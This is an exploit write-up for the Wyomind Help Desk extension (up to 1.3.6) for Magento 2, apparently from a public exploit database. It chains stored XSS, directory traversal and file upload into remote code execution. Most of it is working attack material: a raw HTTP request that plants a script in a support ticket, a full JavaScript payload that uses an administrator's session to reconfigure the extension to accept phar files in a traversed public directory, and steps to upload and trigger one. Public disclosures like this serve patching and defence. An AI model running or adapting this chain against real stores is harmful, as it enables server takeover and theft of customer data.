Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE)

# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) 
# Date: 2021-07-07
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html
# Version: <= 1.3.6
# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2


The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and  unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.

A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section. 
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
the delivery of the XSS payload:

POST /helpdesk/customer/ticket_save/ HTTP/1.1
Host: <redacted>
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635
Content-Length: 683
Origin: https://<redacted>
Connection: close
Referer: https://<redacted>/helpdesk/customer/ticket_view/
Cookie: <redacted>
Upgrade-Insecure-Requests: 1

-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="form_key"

<redacted>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="object"

Hello
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="message_cc"


-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="content"

<p><script>alert(1)</script></p>
-----------------------------243970849510445067673127196635
Content-Disposition: form-data; name="hideit"


-----------------------------243970849510445067673127196635--



The following XSS payload shown below can be used to trigger 

1) Enabling file attachments in ticket messages
2) Adding 'phar' to allowed file extensions
3) Setting the attachment directory to 'helpdesk/files/../../../pub'


<script>
function successListener(e) {    
	var doc = e.target.response
	var action=doc.getElementById('config-edit-form').action;
	
	function submitRequest()
	{
	var formKey = FORM_KEY;
	var xhr = new XMLHttpRequest();
	xhr.open("POST", action, true);
	xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053");
	xhr.withCredentials = true;
	var body = "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"form_key\"\r\n" + 
	  "\r\n" + 
	  formKey + "\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" + 
	  "\r\n" + 
	  "\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" + 
	  "\r\n" + 
	  "2\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" + 
	  "\r\n" + 
	  "3\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" + 
	  "\r\n" + 
	  "10000\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" + 
	  "\r\n" + 
	  "Support - My Tickets\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" + 
	  "\r\n" + 
	  "jpeg,gif,png,pdf,phar\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" + 
	  "\r\n" + 
	  "helpdesk/files/../../../pub\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" + 
	  "\r\n" + 
	  "2M\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" + 
	  "\r\n" + 
	  "4M\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" + 
	  "\r\n" + 
	  "1\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" + 
	  "\r\n" + 
	  "Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Your message has been sent to the support team.\r\n" + 
	  "Here is the message content:\x3cbr/\x3e\r\n" + 
	  "\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Kind Regards,\r\n" + 
	  "The Support Team.\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" + 
	  "\r\n" + 
	  "Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" + 
	  "Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" + 
	  "Regards,\r\n" + 
	  "The Support Team.\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" + 
	  "\r\n" + 
	  "0\r\n" + 
	  "-----------------------------14303502862141221692667966053\r\n" + 
	  "Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" + 
	  "\r\n" + 
	  "You received a new message from a customer.\r\n" + 
	  "-----------------------------14303502862141221692667966053--\r\n";
	var aBody = new Uint8Array(body.length);
	for (var i = 0; i < aBody.length; i++)
	aBody[i] = body.charCodeAt(i); 
	xhr.send(new Blob([aBody]));
	}
	submitRequest();
}
	
var request = new XMLHttpRequest();  
request.onload = successListener;    
request.responseType = 'document';
request.open('GET', document.querySelector('[data-ui-id="menu-wyomind-helpdesk-configuration"]').querySelector('a').href, true);  
request.send();
</script> 

After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting

https://[HOSTNAME]/<ticketId>/<messageId>/filename.phar 

ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the 
URL, for example: 

https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/

and the messageId can be identified by hovering over the uploaded file link which will be similar to 

https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar

in this case, the messageId is 40.